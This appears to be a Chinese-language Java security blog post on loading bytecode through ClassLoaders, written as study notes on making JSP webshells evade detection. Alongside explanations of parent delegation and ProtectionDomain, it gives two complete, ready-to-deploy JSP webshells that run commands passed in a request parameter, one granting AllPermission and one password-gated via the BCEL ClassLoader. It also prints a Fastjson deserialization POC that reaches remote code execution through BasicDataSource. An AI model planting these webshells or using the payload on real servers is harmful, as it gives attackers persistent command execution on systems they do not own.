简介
本文较水,主要是炒冷饭,巩固和复习一些基础的Java安全知识
近期在学习JSP免杀相关的知识,遇到了很多加载字节码的情况,所以写一篇文章总结下
加载字节码是Java安全中重要的部分,实现这个功能离不开ClassLoader
本文前半部分将从各个角度对各个ClassLoader的利用方式做解析,并深入分析其原理
后半部分讨论一些Java安全方面的技巧
笔者目前本科在读,才疏学浅,错误和不足之处还请大佬指出,十分感谢!
自定义类加载器
这里采用自定义类加载器的JSP Webshell来讨论
首先编写一个用于加载的恶意类
public class ByteCodeEvil { String res; public ByteCodeEvil(String cmd) throws IOException { // 简单回显 Webshell StringBuilder stringBuilder = new StringBuilder(); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream())); String line; while((line = bufferedReader.readLine()) != null) { stringBuilder.append(line).append("\n"); } res = stringBuilder.toString(); } @Override public String toString() { // 回显 return res; } }
将上文的类使用javac编译为字节码。通常在代码中加载字节码的过程会进行Base64编码。于是具体的代码中使用Base64解码后,转为类对象,手动触发该类的构造方法即可实现Webshell的功能
String cmd = request.getParameter("cmd"); ClassLoader loader = new ClassLoader() {...}; Class<?> clazz = loader.loadClass("ByteCodeEvil"); Constructor<?> constructor = clazz.getConstructor(String.class); String result = constructor.newInstance(cmd).toString();
实际上自定义ClassLoader这个过程并不简单
注意到ClassLoader是无法直接在运行时加载字节码的,至少需要重写findClass方法和loadClass方法
其中loadClass方法会先查找该类是否已被加载,调用findLoadedClass方法
如果没有找到,则会调用loadClass方法;如果还是没有找到,会调用findClass方法。如果没有重写该方法的情况,默认是抛出异常。如果重写了该方法,则会自定义加载
重写loadClass方法的代码如下,当我们加载的是指定名称的类时,就调用重写后的findClass方法
@Override public Class<?> loadClass(String name) throws ClassNotFoundException { if (name.contains("ByteCodeEvil")) { return findClass(name); } return super.loadClass(name); }
还有一个重点方法defineClass,它可以从byte[]还原出一个Class对象。在findClass中,如果调用defineClass加载指定的恶意字节码,就会达到运行时加载字节码的效果
因此尝试写出如下的findClass代码
@Override protected Class<?> findClass(String name) throws ClassNotFoundException { try { byte[] bytes = Base64.getDecoder().decode("BASE64_ENCODE_BYTECODE"); return this.defineClass(name, bytes, 0, bytes.length); } catch (Exception e) { e.printStackTrace(); } return super.findClass(name); }
其实上方的代码是正常执行的,但并不完善,应该调用defineClass的另一个重载
在Java的类加载中,有著名的双亲委派机制
首先会检查该类是否已经被加载,若没有被加载,则会委托父加载器进行装载,只有当父加载器无法加载时,才会调用自身的findClass()方法进行加载。这样避免了子加载器加载一些试图冒名顶替可信任类的不可靠类,也不会让子加载器去实现父加载器实现的加载工作
例如用户使用自定义加载器加载java.lang.Object类,实际上委派给BootstrapClassLoader加载器。如果用户使用自定义类加载器加载java.lang.Exp类,父类无法加载只能交给自定义类加载器。由于同在java.lang包下,所以Exp类可以访问其他类的protected属性,可能涉及到一些敏感信息
因此必须将这个类与可信任类的访问域隔离,JVM中为了避免这样的危险操作,只允许由同一个类加载器加载的同一包内的类之间互相访问,这样一个由同一个类加载器加载的并属于同一个包的多个类集合称为运行时包
类加载体系为不同类加载器加载的类提供不同的命名空间,同一命名空间内的类可以互相访问,不同命名空间的类不知道彼此的存在
除了命名空间的访问隔离和双亲委派的受信类保护,类加载器体系还用保护域来定义代码在运行时可以获得的权限
这里需要我们关注的点是CodeSource,它是解释如下
每个class文件均和一个代码来源相关联,这个代码来源(java.security.CodeSource)通过URL类成员location指向代码库和对该class文件进行签名的零个或多个证书对象的数组。class文件在进行代码认证的过程中可能经过多个证书签名,也可能没有进行签名
访问控制策略Policy对权限的授予是以CodeSource为基础进行的,每个CodeSource拥有若干个Permission,这些Permission对象会被具体地以其子类描述,并且和CodeSource相关联的Permission对象将被封装在java.security.PermissionCollection类的一个子类实例中,以描述该CodeSource所获取的权限
类加载器的实现可以通过将代码来源(CodeSource)即代码库和该class文件的所有签名者信息,传递给当前的Policy对象的getPermissions()方法,来查询该代码来源所拥有的权限集合PermissionCollection(在策略初始化时生成),并以此构造一个保护域传递给defineClass()以此指定类的保护域
以上复杂的理论表现在代码中如下(其中有一个细节在后续分析)
@Override protected Class<?> findClass(String name) throws ClassNotFoundException { try { byte[] bytes = Base64.getDecoder().decode("BASE64_ENCODE_BYTECODE"); PermissionCollection pc = new Permissions(); pc.add(new AllPermission()); ProtectionDomain protectionDomain = new ProtectionDomain(new CodeSource(null, (Certificate[]) null), pc, this, null); return this.defineClass(name, bytes, 0, bytes.length, protectionDomain); } catch (Exception e) { e.printStackTrace(); } return super.findClass(name); }
实际上在JDK的ClassLoader源码中,有这样的处理
protected final Class<?> defineClass(String name, byte[] b, int off, int len, ProtectionDomain protectionDomain) throws ClassFormatError { // 跟入 protectionDomain = preDefineClass(name, protectionDomain); ... }
当传入的ProtectionDomain为空时,会在预处理中定义为默认
private ProtectionDomain preDefineClass(String name, ProtectionDomain pd) { ... if (pd == null) { pd = defaultDomain; } ... return pd; }
回到上文提到的细节,发现这里默认的情况和上文缺少了一个PermissionCollection
// JSP Webshell中编写的代码 PermissionCollection pc = new Permissions(); pc.add(new AllPermission()); ProtectionDomain protectionDomain = new ProtectionDomain(new CodeSource(null, (Certificate[]) null), pc, this, null); // JDK的默认ProtectionDomain private final ProtectionDomain defaultDomain = new ProtectionDomain(new CodeSource(null, (Certificate[]) null), null, this, null);
为什么在JSP Webshell中指定了AllPermission
定义:The AllPermission is a permission that implies all other permissions
在JDK源码文档中有这样一句话:application or applet is completely trusted
这意味着改代码拥有全部的权限,也就是最高权限
拥有SocketPermission和FilePermission这种敏感操作的权限
也就完全发挥了JSP Webshell的功能,所以在JSP中指定ProtectionDomain是必要且有意义的
最终的自定义类加载器JSP Webshell如下
<%@ page import="java.lang.reflect.Constructor" %> <%@ page import="java.util.Base64" %> <%@ page import="java.security.cert.Certificate" %> <%@ page import="java.security.*" %> <% ClassLoader loader = new ClassLoader() { @Override public Class<?> loadClass(String name) throws ClassNotFoundException { if(name.contains("ByteCodeEvil")){ return findClass(name); } return super.loadClass(name); } @Override protected Class<?> findClass(String name) throws ClassNotFoundException { try { byte[] bytes = Base64.getDecoder().decode(""); PermissionCollection pc = new Permissions(); pc.add(new AllPermission()); ProtectionDomain protectionDomain = new ProtectionDomain(new CodeSource(null, (Certificate[]) null), pc, this, null); return this.defineClass(name, bytes, 0, bytes.length, protectionDomain); } catch (Exception e) { e.printStackTrace(); } return super.findClass(name); } }; String cmd = request.getParameter("cmd"); Class<?> clazz = loader.loadClass("ByteCodeEvil"); Constructor<?> constructor = clazz.getConstructor(String.class); String result = constructor.newInstance(cmd).toString(); response.getWriter().print(result); %>
BCEL ClassLoader
在较高版本的JDK8中BCELClassLoader被删除所以需要在较低版本的JDK中测试
参考P神的文章:https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html
该类加载的作用是给出一段特殊字符串,直接加载为类对象
简单查看loadClass方法的代码,可以看到加载了以"$$BCEL$$"开头的字符串
protected Class loadClass(String class_name, boolean resolve) throws ClassNotFoundException { Class cl = null; ... if(class_name.indexOf("$$BCEL$$") >= 0) clazz = createClass(class_name); ... if (clazz != null) { byte[] bytes = clazz.getBytes(); cl = defineClass(class_name, bytes, 0, bytes.length); } ... return cl; }
BCEL比较知名的是Fastjson的BasicDataSource利用
查看源码可以发现包含driveClassLoader和driverClassName的get/set方法,具备了Fastjson的触发条件
给出一个较高版本Fastjson的POC,果然和推测差不多,主要是基于上面上个属性
{ "name": { "@type" : "java.lang.Class", "val" : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource" }, "x" : { "name": { "@type" : "java.lang.Class", "val" : "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "y": { "@type":"com.alibaba.fastjson.JSONObject", "c": { "@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource", "driverClassLoader": { "@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "driverClassName":"$$BCEL$$$......", "$ref": "$.x.y.c.connection" } } } }
两个name对象被缓存后缓存,可以让BasicDataSource和BCEL ClassLoader绕过黑名单
最下面的$ref是高版本Fastjson的一个特性,可以链式调用,最终调用到BasicDataSource.connection
其实BasicDataSource类并没有connection属性,但这样的调用会触发get/set Connnection方法
跟入BasicDataSource的getConnnection
@Override public Connection getConnection() throws SQLException { ... return createDataSource().getConnection(); } // 继续跟入 protected DataSource createDataSource() { ... final ConnectionFactory driverConnectionFactory = createConnectionFactory(); ... } // 继续跟入 protected ConnectionFactory createConnectionFactory() throws SQLException { ... if (driverClassLoader == null) { driverFromCCL = Class.forName(driverClassName); } else { // 进入这里 driverFromCCL = Class.forName(driverClassName, true, driverClassLoader); } // 这里对象被实例化造成RCE driverToUse = (Driver) driverFromCCL.getConstructor().newInstance(); }
注意到这里的触发点是Class.forName并不是loadClass等方法
其实Class.forName第二个参数initial为true时,类加载后将会直接执行static{}块中的代码
回到该Fastjson POC本身driveClassName的BCEL字节码对应的Java代码正好符合static条件
public class Exp{ static { try{ Runtime.getRuntime().exec("calc.exe"); } catch (Exception e) { } } }
类似地,我们可以把BCEL ClassLoader的概念引入JSP Webshell中
<%@ page language="java" pageEncoding="UTF-8" %> <%! String PASSWORD = "4ra1n"; %> <% String cmd = request.getParameter("cmd"); String pwd = request.getParameter("pwd"); if (!pwd.equals(PASSWORD)) { return; } // 0x01中ByteCodeEvil生成的字节码 String bcelCode = "$$BCEL$$......"; // new ClassLoader().loadClass(bcelCode).newInstance(cmd); Class<?> c = Class.forName("com.sun.org.apache.bcel.internal.util.ClassLoader"); ClassLoader loader = (ClassLoader) c.newInstance(); Class<?> clazz = loader.loadClass(bcelCode); java.lang.reflect.Constructor<?> constructor = clazz.getConstructor(String.class); Object obj = constructor.newInstance(cmd); // 回显 response.getWriter().print("<pre>"); response.getWriter().print(obj.toString()); response.getWriter().print("</pre>"); %>